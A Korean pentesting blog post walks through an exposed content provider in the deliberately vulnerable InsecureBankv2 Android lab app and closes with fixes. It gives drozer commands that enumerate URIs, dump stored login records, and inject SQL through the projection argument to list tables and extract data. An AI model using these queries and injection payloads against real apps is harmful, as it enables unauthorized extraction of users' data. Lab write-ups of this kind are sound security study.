외로운 Nova의 작업실

insecurebankv2 - 안전하지 않은 콘텐츠 프로바이더 접근 본문

Mobile App Penetesting/Android App Vulnerability

insecurebankv2 - 안전하지 않은 콘텐츠 프로바이더 접근

Nova_ 2023. 5. 13. 16:00

- 취약점 소개

프로바이더는 uri를 가지고 데이터베이스나 파일에 접근할 수 있는인터페이스를 제공합니다. 이때 외부에서 콘텐츠 프로바이더를 통해 중요한 데이터베이스나 파일에 접근할 수 있으므로 항상 검증하고 접근 관리를 해야합니다. 검증하지 않거나 접근 관리를 하지 않을때는 외부에서 중요한 데이터베이스나 파일에 접근할 수 있게 됩니다.

 

- 취약점 진단 과정

먼저 프로바이더를 사용중인지 매니페스트파일을 봐보겠습니다.

 </activity>
    <activity label="@2131165277"
              name="com.android.insecurebankv2.ViewStatement"
              exported="true">
    </activity>
    <provider name="com.android.insecurebankv2.TrackUserContentProvider"
              exported="true"
              authorities="com.android.insecurebankv2.TrackUserContentProvider">
    </provider>

위는 매니페스트 파일중 일부분 입니다. 프로바이더 이름과함께 exported속성이 true로 외부 앱에서 콘텐츠 프로바이더를 통해 데이터베이스에 접근할 수 있게 되어있는 것을 확인할 수 있습니다. 드로저를 통해 공격 표면에 포함되는지 확인해보겠습니다.

콘텐츠 프로바이더부분에 공격 표면이 1개 있음을 알 수 있습니다. 콘텐츠 프로바이더를 사용해서 데이터베이스에 접근하려면 uri를 알아야합니다. 드로저로 이를 알아보겠습니다.

run scanner.provider.finduris -a com.android.insecurebankv2

쿼리가 가능한 "content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers" URI가 존재합니다. 이경로의 데이터를 뽑아보겠습니다.

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers

실제 jack으로 로그인햇던 기록들이 나오게됩니다.

 

<sql 인젝션>

안드로이드는 기본적으로 sql lite 데이터베이스를 사용합니다. 또한 콘텐츠프로바이더를 사용할때 projection을 통해 sql문을 가지고 콘텐츠에 접근할 수 있습니다. 이때 projection 변수를 사용하게됩니다. projection은 검색하고싶은 열을 전달할 수 있는데, 예를 들어 아래처럼 줄 수 있습니다.

String[] projection = {
    "column_name1",
    "column_name2",
    // Add more column names as needed
};

그러면 sql문은 아래처럼 만들어집니다.

SELECT column1, column2, ... FROM table_name WHERE condition;

따라서 projection에 * from names;-- 를 주게되면 아래처럼 만들어지게됩니다.

SELECT * from names;-- FROM table_name WHERE condition;

이러면 sql injection이 가능하게됩니다. 이를 이용하여 sql injection을 해보겠습니다. 먼저 sql lite의 sqllite_master 테이블을 가지고 모든 테이블을 보겠습니다.

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from SQLITE_MASTER where type='table';--"

names 테이블이 있는 것을 확인할 수 있습니다. 이제 names 테이블의 값을 추출해보겠습니다.

run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* from names;--"

추출이 잘됩니다. sql injection이 가능하면 콘텐츠 프로바이더의 uri말고도 다른 데이터베이스의 정보들을 추출할 수 있습니다. 

 

- 취약점 대응 방안

1. 콘텐츠 프로바이더의 exported 속성을 false로 변경합니다.

2. 꼭 true로 해야한다면, 권한을 가지고 접근하는지 검증하는 접근제어를 해야합니다.

Comments